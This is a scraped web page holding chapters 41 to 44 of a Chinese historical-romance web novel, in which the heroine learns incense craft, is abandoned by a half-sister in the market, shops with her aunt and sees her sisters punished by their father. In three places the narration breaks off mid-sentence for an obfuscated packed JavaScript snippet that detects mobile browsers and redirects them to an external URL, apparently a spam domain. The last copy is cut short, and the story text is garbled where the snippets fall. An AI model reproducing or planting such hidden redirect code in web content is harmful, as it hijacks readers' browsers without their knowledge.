她像是在自言自语,又像是对某个不可见的人说话,她轻声说:“比这苦的日子……我可过的太多了。” 她总能熬过去,总能赢的,这就行了。 关怀素一觉醒来,就听丁妈妈一脸震惊地进门对她和柳叶说:“我滴个乖乖,刚才大娘子院子里来人说,这两天咱们都不用去请安了,说是老爷听说赵家请了嬷嬷在教导赵姑娘礼仪,便厚颜请托,想把姑娘们都送去赵家跟着学习。” “啊?不用让大娘子看着姑娘们学规矩了?”柳叶正给关怀素选今儿要戴的首饰,听着顿时一愣,手上动作都停了。 “不用了。”丁妈妈说完,鬼鬼祟祟地上前几步,压低声音说,“听说崔小娘昨儿晚上发热了,老爷守了通宵后亲自吩咐的。嘴上说如今家里能请到的都是一般人,定然比不上赵家的好。其实应当就是心疼崔小娘,特地才改了这事儿……” 说完,丁妈妈还要啧啧两声,不可思议地说:“这崔小娘,真正是会拿捏男人,莫非是狐狸精转世?” 关怀素听到这里,心中忍不住微微松了口气,又忍不住有些心情复杂。 松了口气是知道,孙大娘子只怕这几天又要忙着生气,顾不上她了。 心情复杂是因为,崔妙人一场高热便能让父亲立刻便改了对三个女儿的打算,此人比关怀素猜想的还更有手腕。 关家人性子清高刚强,母亲当年遇到这个崔小娘,加上那个偏心到了咯吱窝里的老夫人,不知吃了多少暗亏。 姐姐无人教导庇护,又不知吃了多少暗气。 关怀素心中黯淡,只能在姐姐的书房读书练字,慢慢趁机寻找,看看姐姐有无留下什么,结果依然还是一无所获。 第三日便是去赵家登门求学的日子,为表重视,李珺携大娘子一起亲自带他们去李家送拜师礼。 崔小娘竟也在,笑意盈盈地站在李珺身边,温声叮嘱婉蓉:“你与我不一样,你小娘我出身农家,一辈子并不懂什么诗书礼仪。你好好跟嬷嬷学,知道么?” “你啊,你的诗书礼仪都是为夫教导的,妙人你这话说的,是嫌弃为夫教导的不好?”李珺的声音带着笑意,一家三口在屋里笑着说话,一时温馨到了极致。 关怀素偷看一眼侧前方的孙大娘子,孙大娘子的脸上黑沉沉的,比今儿的天色还差三分。 第四十一章 上学 但是下一瞬,孙大娘子便又是一脸和煦的笑,仿佛没听到夫君称呼妾室为妻。 关怀素心中暗叹她确实能忍,沉默地跟着进门。 进去一看,寒风乍起的日子,崔妙人竟还穿着水红色的单薄衣衫,腰掐的极细,衣服贴着身体,愈发显现出玲珑曲线来,天色还没大亮,屋里还燃着蜡烛,烛火微微摇曳之下,柔美玲珑,瞧着真是酥媚入骨。 婉淑脸上闪过愤恨之色,垂头看地,孙大娘子心中不知如何想,但是面上八风不动。 几人说了几句话,崔妙人便依依不舍地拉着李珺和婉蓉,送他们上马车。 “妙人,你身子不好,回去休息,不要吹着风了。”李珺心疼地一再叮嘱,又掀起车帘子吩咐姜妈妈,“好好照顾你主子。” 如此一再叮嘱,马车终于才出发了。 马车里,看到全程的婉淑眼里闪过不悦,而后突然笑着转头对关怀素说:“大姐姐,咱们如今有机会跟着伺候太后身边的嬷嬷学习,可是天大的福分,我听说大姐姐的阿娘曾经还是大长公主的同窗呢!” 关怀素抬眸看她,并不接话,婉淑笑了笑,抚了抚鬓边的碎发,说:“我阿娘在闺中的时候,舅舅也请了一位宫中侍奉过的姑姑教导过她们。” 关怀素不明白婉淑突然提这个事情是做什么,但是知道她必然有什么想说的,便只微微颔首。 果然婉淑笑意盈盈地接着说:“但是好在只要是正经闺秀,到底都还是有教养的,日后出门交际,自然有该有的气派,无人教导的,再妖妖娆娆又有何用,不过是拘在后宅不得见人的玩意儿罢了。” 原来是嘲讽方才崔妙人的做派呢。 关怀素听明白了,婉蓉也听明白了,于是婉蓉勃然大怒,指着婉淑就骂:“你阴阳怪气地在说什么呢?你娘也不过是个九品县丞的女儿,你就看不起妾室庶出了?你怎么不说你娘当初为什么被寄居在舅舅家?不就是因为你外祖父家里是小妾当家么!自己一屁股屎还笑人家!” “你!”婉淑本来是暗讽,却没想到婉蓉如此粗俗,立刻拉着关怀素连声说,“大姐姐你看看二姐,我本来没那个意思,她反倒先骂起人来了!” 关怀素并不想加入这场战局,只木菩萨一样地侧头看外头,死不接话。 两人正要吵起来,马车外头传来孙大娘子身边周妈妈的声音,压低声音说:“夫人说,这是在外头,姑娘们说话声音小些。” 婉蓉与婉淑登时一静,婉蓉愤愤瞪了一眼,也去看外头去了。 一场风波就这么压下来,马车驶过长安大街,天色大亮,日头高升,她们也到了赵家。 这回来赵家就不像上次做客那般隆重了,一行人进门分别行礼落座,就见到了赵家聘请的老嬷嬷。 老嬷嬷姓刘,宫中出来的老嬷嬷,气势确实与一般人不一样,格外威严一些。 关怀素带着婉蓉婉淑与刘嬷嬷行礼敬茶拜师,而后李珺和孙大娘子在前头说话交际,关怀素她们三个就要上课了。 上课的地方是花园里的暖阁,屋内燃着好几个炭盆,一进去就是一阵暖意。 赵白芷已经在此等候,看到她们进来,她先是规规矩矩地对着刘嬷嬷行礼,然后欢喜地过来拉着关怀素的手,笑着对她们三人说:“前日父亲说,婉玉姐姐、婉淑妹妹与婉蓉妹妹都要来和我一起上课,可把我开心坏了,盼了几天你们可算来了,日后我亦有同窗了!” 她说话一团和气,圆脸上笑意盈盈的,不只是关怀素觉得熨帖,便是连乌眼鸡一般的婉蓉和婉淑也都露出了笑意,一起见礼。 四个姑娘笑成一团问好,身后的刘嬷嬷咳嗽一声,众人这才一惊,转过身去,规规矩矩地听上头的刘嬷嬷吩咐。 “咱们课上的规矩,每日上半日课,今儿我们继续开始学辨香。”刘嬷嬷对大家说话,示意大家坐下。 关怀素就跟着坐在自己身边的案几上,才看到案几上已经摆了大大小小不同的香方与线香、香粉等等。 这便是如今闺秀们都要学习的礼仪之一,辨香。 刘嬷嬷显然也是个香道高手,她娓娓道来,把这些香料出自哪里,曾有什么趣事都一一说出来,一上午说的是妙趣横生,竟然一点也不觉得无聊。 关怀素连续听了十来天的课,竟也对一些香料典故开始如数家珍,只觉得有趣。 却没想到,因学香道的事儿,又出了一场小风波。 那是上课上了十多日之后,学完辨香,便要学焚香。 焚香重点当然不在焚,而是在压香、点香、配香上。 线香简单,只需要搭配时节、搭配好香具并摆放好位置就行,塔香就还会讲究是在香具里燃还是在外头,如有些香具是从里头燃香,香味顺着山峰形状的香具盘旋而上,如高峰起雾,而有些则是放在香具顶上,沉香下沉,顺着曲水流觞蜿蜒而下,仿佛天穹泄浪…… 士人重香道,因此香道是贵女必备的功课,否则日后轮到她们出门交际,若是在这些方面都拿不出手,不免惹人笑话。 关怀素倒是也都跟着祖父略学过,但是祖父去的早,学得也都是普通功夫,刘嬷嬷却另有一门香道功夫,便是压字香。 所谓字香,如其名称而言,就是以调和好的香粉,用香粉字模在香炉之中压制成字,而后点香之后,香气必须成一线缓慢平整燃烧,烧完之后香灰必须颜色均匀一致,凝而不散。 这种玩香手法真是雅致到了极点,关怀素早年跟着祖父一起拜访某个隐居老友时,曾见过老爷爷燃过字香,小小的她极其诧异,只可惜当日他们急匆匆赶路,并未有空请教。 没想到此时居然还能机缘巧合之下,再次接触到这种燃香手法。 能有机会学到这独门功夫,关怀素顿时兴趣大涨,认认真真地跟着刘嬷嬷从香粉调配开始,生怕自己忘记,还不时拿着毛笔记录,生怕记少了哪一样。 关怀素记得勤快,婉蓉和婉淑也不甘示弱,她们也知道,赵姑娘学得这些,往年都是宫里的贵人才能接触到的,跟着刘嬷嬷只需要学到一星半点本事,以后出门之后与贵人交际,那可是真的能被人高看几眼的。 这些都是女子安身立命的本事,得此机会,只要不是蠢货,自然都会极其努力学习。 不过字香学个笼统简单,想真正精通就十分困难了,四人之中唯有赵姑娘气定神闲,出手就有了刘嬷嬷六七分的功夫——这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183317|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 倒是非常能理解,因赵姑娘的母亲本身就是翰林家的嫡女,香道一途,她应当自小跟着母亲就学得很好,此刻自然也更容易上手。 第一堂课下来,也就她压的“福”字烧的不徐不疾,除了香灰有些塌陷,燃烧的有些过快、一点边角未曾燃尽之外,大致看着样子极其漂亮。 “白芷这个燃的很好。”刘嬷嬷都难得露出了一点认同之色,笑着点头点评。 再往后头看,关怀素的福缺了一个天顶,上面的横线和口字因连接线太细燃断,直接没烧着。 再看看婉蓉婉淑,大多也全折在这个上面,且她们二人到底不太动手做精细活儿,李家没有什么底蕴,二人也是第一次接触压香,所以竟都燃的乱糟糟的不说,还燃的极快,几下便烧着了,香味散的一干二净。 刘嬷嬷看了一眼,当时就皱起了眉头,但是到底是第一堂课,她到底没出声斥责,只说了句:“你们还要多努力,字没形状就算了,香粉怎地调的这么杂,这乌木香气太重了,压的暖橘的味道都全没了,又不是烧柴火。” 这话说得有些重,主要是对着婉蓉说的。 婉蓉羞的脸庞通红,她只想着乌木香贵重,便狠狠地加了好几耳勺,没想到却真的味儿太重了,她凑得近都觉得有些冲鼻子。 刘嬷嬷叫丫鬟开窗通风,散了一屋子乱七八糟的香气,才又说:“香道一途,讲究的是风、雅、韵,风味、雅致、韵味,这几种搭配到一起,要相辅相成,才是好香,若是一味以名贵为主,反而背离香道主旨,显得自己露怯了。调香一途,千人千味,不用拘泥于形势,白芷,你调的香就很好,温和馥郁,中有一道淡淡的苦木香气,压下了原本过于柔暖的香调,外柔内刚,很是衬你。” 刘嬷嬷说完,又分别点评三人说:“婉淑调的香,有些过于规矩了,倒像是香坊里采买来的一样,虽不出错,也不出彩,要多想想自己的味道。婉蓉又太偏重几味香气,那几味香气却又不相容,味道反而杂乱。” 说到最后,她看向关怀素,古板的脸上微微带着一丝笑意,说:“倒是婉玉姑娘,用浓橘皮香气加上提神醒脑的薄荷脑,辅以淡草木香,香气芬芳清冷,雅致余韵,搭配挺有趣,做的很好。” 说完,刘嬷嬷宣布今儿的课就结束,就先行离开。 就是这个时候,赵二郎出现在了门口,笑嘻嘻地说:“哎呀,诸位妹妹下课了?” “二哥哥!”婉蓉与婉淑都眼前一亮,迎了过去。 “早听父亲说起来几位妹妹都在家里上课,我早该来打招呼的,偏近日一直跟在太子身边上学,这不,今日才得空,特地来给几位妹妹请罪。”赵二郎开口便是舌灿莲花,哄得婉蓉与婉淑脸庞飞红,万分喜悦。 等他说到听说大家在学香道,就打算带着大家一起去香坊挑些香回家练手时,除了赵白芷一会儿下午要学习管账无法一起,婉蓉婉淑都十分开心。 学堂的香粉其实十分齐全,但是能去香坊逛一逛,说不得下午还能多逛几个铺面,这对女孩儿们来说,绝对是极其喜悦的事情。 几人开开心心地出门,关怀素却是没想到,这出门逛了一趟,结果自己却被在半路上故意丢下。 第四十二章 再会 开始还好,到了香粉铺子之后,关怀素默默地看香料。 奈何赵二郎不知发什么神经,一直往她身边凑,看她拿起什么香料都凑上前解释,或是买下来。 关怀素才眼神挪了几个位置,赵二郎竟直接让小二包圆了四五种香。 关怀素心中烦躁,婉蓉在旁酸酸地嗔怪:“二哥哥,你今日怎么一直跟着姐姐,都不理我们了?” 美人娇嗔,让赵二郎立刻又被牵引走了心神,陪笑着立刻过去。关怀素忍不住松了口气,转身继续去看香料,几人辗转逛了一圈,满载而归。 就在要走的时候,关怀素没发现,婉蓉悄悄从她那份香料里拿出一盒,偷偷放在柜台小屏风后。 而后走出门去,婉蓉突然对关怀素说:“大姐姐,你不是还有一盒红盒的降真香吗?怎地不见了?” 关怀素回头一看,柳叶怀里确实少了一盒香,她立刻说:“稍等一下,我回去看看。” 说着关怀素立刻带着柳叶一起往回走,赵二郎刚想跟回去,婉蓉却突然撒娇扶额说:“二哥哥,我的头好痛啊!” 赵二郎一愣,立刻回头关心地嘘寒问暖,赶紧搀扶着她上了马车。 于是等到关怀素找到那盒香料,再出门一看,马车已经不见了。 伙计说:“方才与小姐一起来的那红衫小姐说头疼得很,让先送她回家,说是让姑娘你稍微等一会子,等马车回家后再折返回来接姑娘。” 李家离这地方得有小半个时辰,等到车来回得快一个时辰了。 “姑娘,我想起来了,这盒降真香我方才和其他香放在一起的,就在柜台的时候放下来过,不可能突然自己跑去屏风后头!”柳叶回忆起来,立刻生气地说,“是婉蓉叫我去帮她接东西,我才放下来的,回来就少了一盒香,定然是她搞鬼!” 今儿穿红衫就只有婉容,看来是方才赵二郎一直跟着自己,她心中不快活就想整人。 关怀素心中明悟,笑着对那伙计道谢,然后说:“无事,这街上有租马车的车行吧?我去租个车子回家也可以。” “有的有的,隔壁街口就是车行,里面驴车马车都有!”伙计立刻热情地说。 “姑娘,婉蓉就是故意的,你怎地不生气?”柳叶跟在身后不解地说。 “你傻啊!平常咱出来多不方便,这会子连借口都不用找了,你不想逛逛京师的街市?”关怀素提醒柳叶。 柳叶反应过来顿时大喜,连声说:“对哦,咱们还没逛过呢!咱们慢慢去逛,慢点回去,晚上就不是咱们着急了!” 这就是关怀素的意思,婉蓉既然敢把她一个人丢下,那她绝不能就这么算了。 关怀素带着柳叶好好地逛了一圈京师,发现京师人确实比较富足,这一圈子铺面颇多精巧物什不说,且生意都颇为兴隆。 “……咦?”两人逛到了首饰铺子,正觉得有趣时,却听到身后传来迟疑的声音,低声轻唤,“玉儿?” 关怀素听到这个声音十分耳熟,忍不住回过头去一看,竟看到了一个熟人,是程姨母! “姨母!”关怀素自上次一面,就一直想再见,但是李家规矩甚多,如今能在外头遇到,可真是意外之喜。 程娘子看到她也十分开心,见她一个人在外头,又觉得奇怪,连声问她怎么一个人出来逛铺子。 “快别提了!”柳叶立刻上前,把家里人把关怀素一人丢在外头的事情说了一次,气的程娘子眉头都皱起来,恨声说,“小妇养的**种子,一肚子的黑心思,我非得上门去问问李大人是怎么约束她们的!” “不用了姨母。”关怀素拉了拉她,亲**笑着说,“这事儿我心里头自己有办法,你且放心吧!” 程娘子看她对自己撒娇的样子十足娇憨,竟像是把自己真当成了半个母亲一般,她膝下一直孤单,猛地如此,心中顿时生出满足之心,拉着关怀素真是怎么看怎么稀罕,又看到她头上只扎着两支绒花,就非得拉着关怀素去看首饰,口里说:“你看看,你年纪轻轻的,头上这也太素淡了些,来,既然今日遇到姨母,姨母怎地也要给你买个称头的首饰。” 关怀素拗不过姨母的热情,与姨母一起逛起来。 京师首饰铺子也不缺好东西,程娘子却不满意,让掌柜带他们去楼上雅间,要看看新来的时兴首饰。 “夫人小姐,小店刚好到了一批新的首饰,俱都是时下最时兴的,快请上楼!”掌柜一听极其殷勤带她们上楼雅间落座,端了四五托盘首饰让她们细看。 关怀素自然也是喜爱好看的首饰的,不但喜欢素雅灵动的,也喜欢富贵明艳的。但是她并不去看贵重的,反而只往那小巧发簪上翻看。 “我看这个珍珠冠就很好。”哪曾想程娘子却直接看中了一只拳头大小的重莲形状的珍珠冠,那珍珠看着都要百来颗,底下以金丝编织成拱形莲花,看着确实富贵又雅致。 可是本朝崇尚珍珠,这莲花珍珠冠只怕价格吓人。 果然掌柜立刻开心地说:“夫人眼光太好了,这莲花珍珠冠是刚到的,虽珍珠小了些,但是全都是一色半指肚大小的南珠,色泽也非常不错,我们凑了两年多,才做出这顶发冠呢!且这花冠中间这里有花签筒,一年四季都可以簪花进这花签筒中,所以这个珍珠冠又是花冠,可随着搭配的鲜花不同四季佩戴,极是体面实用。” 这确实巧思过人,且原料珍贵,关怀素一听也觉得十分稀罕,但是她心中益发确定这个绝对不是她们能消费得起的东西。 “这作价几何?”程娘子问。 “五百两。”掌柜笑眯眯地说。 果然昂贵的令人倒抽一口冷气! 关怀素立刻便说:“哎呀呀,这实在是太金贵了,姨母快放下,我更喜欢这个红猫眼发簪,姨母您看看这个!” 这个价钱确实完全不是她们能承受的,程娘子也不是打肿脸充胖子的人,她也叹息地放下那发冠,只是心中难受,忍不住说:“你阿娘当年那顶珍珠冠,珍珠比这大一倍不说,大小也足足是这个发冠的五倍,伸出展翼能盖住鬓角不说,做的还是一年景的样式,头顶上能插二十四枝鲜花……如今姨母想给你买个小的,却都缩手缩脚了……” 说着竟然是真的难受起来。 “可是姨母对我疼爱之心,却是万金也不换的啊!”关怀素连忙拉着她,笑意盈盈地拿着手中这个红猫眼簪子说,“我宁可有姨母在乎,也好过只得冷冰冰的发冠呢。” 这话说的程娘子心中一暖,看关怀素手里拿着的这发簪虽是赤金,却十分玲珑,便豪气地又挑了配套的一个小发冠、一对耳铛、一个红猫眼如意金项圈,并搭配了一对红猫眼手串,配齐一套,花费了二百两,才算是满意了。 这实在是贵重,关怀素本想拒绝,却知道程娘子一片慈爱之心,坚辞太过反而让她以为自己是想与她划清界限,于是想了想,到底是收下了,连声对她说:“姨母这也不怕把我纵宠太过了,到时候让我蹬鼻子上脸!” “你啊,我倒是想你经常与我这样蹬鼻子上脸呢!”程娘子被她哄得心花怒放,又一定要带着关怀素去隔壁看衣裳去。 关怀素乐的跟这个姨母好好打好关系,立刻便跟着姨母起身出去,却没想到她们离开之后,里头的隔间里,周乐天与宋律对坐,都听到了外头的对话。 这铺子是周乐天的产业,原是皇祖母私下给他补贴的许多私产之一,如今是京师最好的首饰铺子,周乐天平素也不常来,今儿也是凑巧,碰上陪着母亲来取首饰的宋律。 周乐天虽与宋律关系不好,但宋夫人到底是长辈,周乐天便寒暄了一下,还没来得及辞别,却听到了外头关怀素与姨母的全程对话。 此时关怀素离开,宋夫人倒是主动开口,目露赞赏,轻声说:“这姑娘听着倒是个温厚大方的好姑娘。” 她说完,掌柜拿了宋夫人定的首饰过来,周乐天便叫她慢慢验看,自己告辞,先行离开。 “爷,要不要查查那姑娘?”来福一出来就小声问。 “查什么?”周乐天皱眉。 “哎哟我的爷!你的心思我能不知道吗?”来福急了,他低声说,“这姑娘听声音便是流云台寺的那姑娘,这姑娘两回说话,听着都是极好的,性子再温厚不过了,爷您若有兴致,便去查查。” 见周乐天不出声,来福更急了,便说,“爷你可想好了,我瞧着宋三郎那样子,应也是觉得这姑娘性子好,只怕一会子就要托人去查了,到时候那姑娘若是样貌一般也罢了,万一是个美貌又品德上佳的,宋三郎定抢在你前头,您到时候可别后悔!” 周乐天听到这里,微微皱眉,对来福说:“你既听出来她是流云台寺的姑娘,怎地就没听出来她到底是谁?” 来福一愣,愕然看向自家侯爷,诧异地问:“爷您知道?” 见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16183318|181019||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 周乐天那样子,显然是真知道,来福登时就震惊了,他说:“爷,你咋知道的?” 周乐天有些奇怪来福怎么听不出来,反问:“她说官话的时候,每回笑之前都会压一下气……那么明显,你怎么听不出来?” 来福无奈了,说:“爷,这一般人还真分辨不出来。” 又好奇地问:“到底是哪家闺秀?若是好的,爷你可要抢在宋三郎前头啊!” 周乐天想到宋律方才的神情,皱眉说:“不过是**她说话而已,宋律应不至于……你去叫掌柜的嘴巴紧一些,别随便暴露客人的行踪。” 说到半途,嘴巴到底比脑子快,先行下了决定。 “哎!”来福一听,立刻大乐,立刻对身后的随从使了个眼色,安排了下去。 至于宋律,当时外头那姑娘一开口,他便听出来了是流云台寺的那姑娘。 当初在墙外听那姑娘说话,只觉得温厚至极,他心思确实是有些微动。 但是他到底不是那种孟浪性子,便立刻按捺下去。 只是今日在茫茫人海再次遇到,再次听到这姑娘说话,又是如此温厚动人、明理体贴,叫宋律的心瞬间又是一软。 母亲定的首饰送了进来,掌柜的把最近做的好首饰也都拿了进来,给宋夫人挑选。 宋律便一眼看到了放在其中的珍珠花冠。 仔细看这珍珠发冠,确实大小一样,光泽莹润,是难得的好首饰。 只是虽然精巧,但是其实比较秀气,并不很大,五百两并不太贵,但是这姑娘的长辈却都没舍得买,听二人说话之中的意思,显然姑娘家中已经有些落败了。 这顶珍珠发冠色泽洁白莹润,放在锦盒之中愈发衬的高洁,倒是十分衬那位姑娘的品德。 “这倒是个好姑娘,去,叫人打听一下,是哪家的姑娘。”宋夫人心中喜欢那姑娘的温厚,立刻便笑着叫身边妈妈去打探,又看看宋律,笑着说,“我家三郎也大了,很该找个品德高尚、贤良淑德的妻子。” 宋三郎不知为何,脑海中想到很久之前,厢房外笑着对自己行礼道谢的身影,又想到她跌倒在自己面前的狼狈样子。 品德高尚、贤良淑德……那女子一点也没有,她性子刁钻、贪慕富贵至极! 宋律脱口而出:“我才不娶妻!” “噢哟,不娶就不娶,你叫这么大声做甚么!”宋夫人吓得一跳,没好气地说,“你不喜欢我给你二哥看看也好,这么好的人,有气度又不卑不亢,可是个做当家主母的好苗子。” 妈妈终于得了机会出去打探,没料到就是这么一耽搁,刚巧周乐天派去的随从返回叮嘱完,那妈妈什么都没打探到,此事就这么过去了。 关怀素倒是不知道身后还有这一场风波,她与程娘子手挽手逛了大半天,临别时程娘子拉着她的手连声叮嘱:“我过几日得闲了就给你家里下帖子,你到时候一定要来家里玩耍。” “是,姨母可一定要来请我,我在家中憋闷得很,难得有这样的好盼头!”关怀素反手握着程娘子的手,一叠声地撒娇着笑说。 她素来就是会哄人的,在祖父身上练就的功夫,拿来哄姨母程娘子更是不费吹灰之力。 程娘子一开始还担心她是随口说的,最近一直不敢上门真的打扰她,如今却彻底没了疑虑,她容光焕发,本想亲自送关怀素回家,却被关怀素拒绝了。 “我要自己租车回去,就不劳烦姨母了。”关怀素一笑,说,“毕竟今儿我可是被人特地丢在街上,这事儿可不能就这么算了。” 程娘子也才想起来今儿遇到关怀素是这个原因,她看着关怀素笃定的表情,叹了口气,说:“看你这个样子,显然心里是有数了。我早就知道你这孩子与你阿娘一样聪明,若不是心底重情,怎能一直被欺负成那样?你如今看着比以前性子刚强多了,姨母这也就放心了。” 程娘子握住关怀素的手,认真地说:“只一件事你记着,不管你想怎么办,只管去办,若是闹得狠了,你爹还是偏袒那小妇养的,你只管来找姨母!” “哎,我知道了。”关怀素看着姨母的脸,心中温暖,点头答应下来,这才与姨母道别,转身上了临时租的驴车。 关怀素驱赶着牛车优哉游哉地回家。 到这时,日头已经西斜,早已经到了快傍晚时分了。 等到李家的时候,家里正乱成了一团糟。 第四十三章 受罚 驴车到家里的时候,管家李福正在集结所有小厮寻人。 “哎哟,大姑娘回来了!快去告诉老爷,说大姑娘自己租车回来了!”见关怀素回来,管家喜不自胜,连忙喊人去报信,转身又给关怀素行礼,连声说:“大姑娘可算回来了,老爷急得差点要亲自去找人了!” “劳烦大家担心了,我第一次出门,竟是迷路了,最后多亏找到了商行,租到了车,总算折腾回来了。”关怀素温声对管家说。 她回家之前倒腾了一下,此刻李福就看着大姑娘虽然面上看着镇定,但是脸上没什么血色不说,钗环也微微发乱,显然曾十分疲惫焦急,看着余惊未消的样子。 也是,李家这几个姑娘,平素除了去友人家中交际,其他地方极少踏足,哪里曾在闹市之中被丢下过? 这番大姑娘只怕是真的被吓得不轻。 李福眼带怜悯,带着关怀素一路进屋,屋里头李珺沉着脸,孙大娘子与崔小娘也坐在旁边,下面婉蓉与婉淑都跪在地上,脸上都带着泪水。 “老爷,大姑娘回来了,看着是受了惊吓。”李福上前悄悄说,李珺肉眼可见地松了口气。 关怀素就是这个时候进门的,她进来之后看着李珺叠手行礼,温声请安赔罪:“婉玉回来晚了,劳父亲担心了,是女儿不孝。” “大姐姐,我们不是给你留信让你在香坊里等着吗?我们还给了掌柜的银钱让他好生照顾一下你,你怎么自己到处乱跑啊?!”本来也吓得在哭的婉蓉一看到关怀素进来,顿时眼前一亮,立刻反而先出口控诉,哭着说,“大姐姐你可吓死我们了!” 明明是她先想吓人,要知道这是关怀素,所以被丢在外头她一点也没事,反而可以带着柳叶玩耍办事。 可是若是真的换成养在深闺、从未单独出门过的姐姐,是真的会被吓哭的。 关怀素想到这里,心中暗暗冷笑,面上却只安静地站着,并不为自己分辩。 婉蓉见此愈发得意,连声说:“大姐姐,你是不是生气二哥哥先送我们不理你?就算是这样,你也不能拿你自己的安危开玩笑啊……” “够了!”李珺看关怀素进来的样子,就知道今儿这个大女儿是真的被吓到了。 这个大女儿性子最为温柔内向,李珺一向是知道的,这会儿见她饱受惊吓反而只咬牙忍着行礼,明明受委屈却不敢反驳妹妹的话。 李珺一直忙忙碌碌、从不曾注意到这个大女儿的心,都被刺痛了一下。 若是换成婉蓉和婉淑,这会子只怕要又哭又喊,抱着阿娘和他撒娇了。 可是婉玉没有。 也许是习惯了自小没有阿娘,母亲心中尤有昔日芥蒂,对婉玉也一直不冷不热,自己也一直忙于公事……于是等到此刻,李珺才猛然反应过来,这个大女儿似乎已经成为习惯默默忍耐一切的性子了。 此刻面对婉蓉的指责,她沉默着,居然也不为自己分辩,像是知道自己说话也没用一样。 这样的姿态深深地刺痛了李珺,他猛地心中生出一股强烈的负疚感来,拍桌对着婉蓉大吼:“你住嘴!” 李珺指着婉蓉,心中那股子愤怒压都压不下去,怒声指着她叱骂:“你往日性子骄纵,总惹你大姐姐也就算了,如今益发地不像话了,竟把你大姐姐丢在大街上!” “父亲,蓉儿是因为头痛,不是故意的……”婉蓉长这么大也是第一次看到父亲如此震怒,顿时吓到了,讷讷地说话。 “你闭嘴!”李珺怒斥,“你头痛,回来和无事人一样地玩耍?你到现在还想撒谎,李福,去请家法出来!给我打!” 李珺这回是动了真火,京师如今虽然歌舞升平,但是不怕一万就怕万一,婉玉又不是自小野惯了的那帮武将家的女儿,她从未自己单独出过门,若是真出了什么事情,那真是后悔都来不及。 想到这里,他又指着婉淑说:“你二姐姐说头疼要先走,你也不拦着点,一家姐妹一起出门,便是等那一会儿都等不得?也给我打!” 婉淑心中看得出父亲是真火了,她和婉蓉不一样,懂得分辨形势,便立刻哭着说:“父亲说的是,二姐催得太狠,我一时心中没了主意,我再怎么也应当留下,大不了和大姐姐一起在香坊等待呢?好歹有人陪着,也让大姐姐不至于吓到了满城乱走……” 这才是真正的厉害角色,都这个时候了,借着认错还在暗暗提醒大家,这事儿都怪关怀素乱走,若是她傻傻地等一个时辰,这事儿自然也不会发生了。 关怀素心中也不由得为婉淑的反应击掌。 果然,震怒的李珺犹豫了一下。 这样子显然是觉得婉淑可怜,确实是无妄之灾,毕竟她是年纪最小的,按道理来说确实不该怪她。 加之关怀素若是不乱跑,这事儿原本也确实没那么严重,婉淑年纪小未曾考虑周全,显然大家都觉得情有可原。 孙大娘子脸上的表情都已经松缓下来,攥着帕子的手都松了一下。 关怀素看准时机,这才轻声苦笑着开口,轻声说:“三妹妹说的是,只是香坊来来去去都是人,都要试香买香,我站在那屋子里,实在是如坐针毡……本想在门外等待,却没想到外头人来人往,我想寻个僻静地方,再托香坊掌柜给你们留个口信,偏走几步就迷路了……” “一人十板子!晚上都给我跪在小祠堂里好好反省!”关怀素这一说,李珺立刻冷声说。 婆子也不犹豫,立刻上前,婉淑和婉蓉都伸出手,“啪”地一板子打在手心里,两人白嫩的手掌顿时就开始泛红。 “老爷,她们明儿还得去赵家念书呢!”崔小娘和孙大娘子都坐不住了,崔小娘还没开口,孙大娘子就忍不住着急地开口了。 “是啊老爷,这板子打狠了,明儿上课握不住笔可怎么办啊?”崔小娘难得与孙大娘子统一阵线,也着急地劝。 李珺冷着脸,看着婉蓉与婉淑受罚。 板子打到第五下,婉蓉就开始哭起来,一声一声的,听得崔小娘帕子都攥紧了。 婉淑本来还想忍,但是听到婉蓉哭得厉害,嘴巴一扁,到底也没忍住,也跟着啪嗒啪嗒地一直流泪。 可一贯宠爱她们的李珺这回却硬生生硬下心肠,看着她们挨打,直到打满了足足十板子,李珺才冷声说:“去,都给我跪小祠堂里头去!” 又看着崔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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李珺闻言,转过头来,眼圈发红看着自己这个女儿,到底是忍不住鼻子发酸,哑声说:“我的玉儿……这些年,苦了你了。” 关怀素被父亲拉着手轻拍安慰,瞬间流下泪来。 一直不知为何有些生疏的父女二人竟是对着哭了一场,直到丫鬟进来换茶,才勉强收住了泪水。 二人哭完,看着对方,不由自主却又一起笑了出来。 “玉儿,这些年爹爹不曾看顾好你,日后受了委屈,记得来找爹爹。”李珺温声说。 “我知道了,爹爹。”关怀素擦着眼泪,轻声说。 李珺哭完,心中觉得与这个大女儿亲密不少,父女二人闲谈起来,发现婉玉居然言谈之中十分言之有物,与一贯看着聪慧的婉淑相比,竟还更加聪慧博学许多。 颇有她母亲当年的风采。 李珺本就是爱才的性子,越是如此,他心中益发对这个大女儿满意,拉着关怀素说话,竟是直接又用茶吃点心,聊到就寝前夕,才回过神来,让她早些休息。 父女二人在此说话谈心,一时之间亲近很多。 但是关怀素却不知道,那边刘嬷嬷正在与赵夫人说起她。 第四十四章 谋划 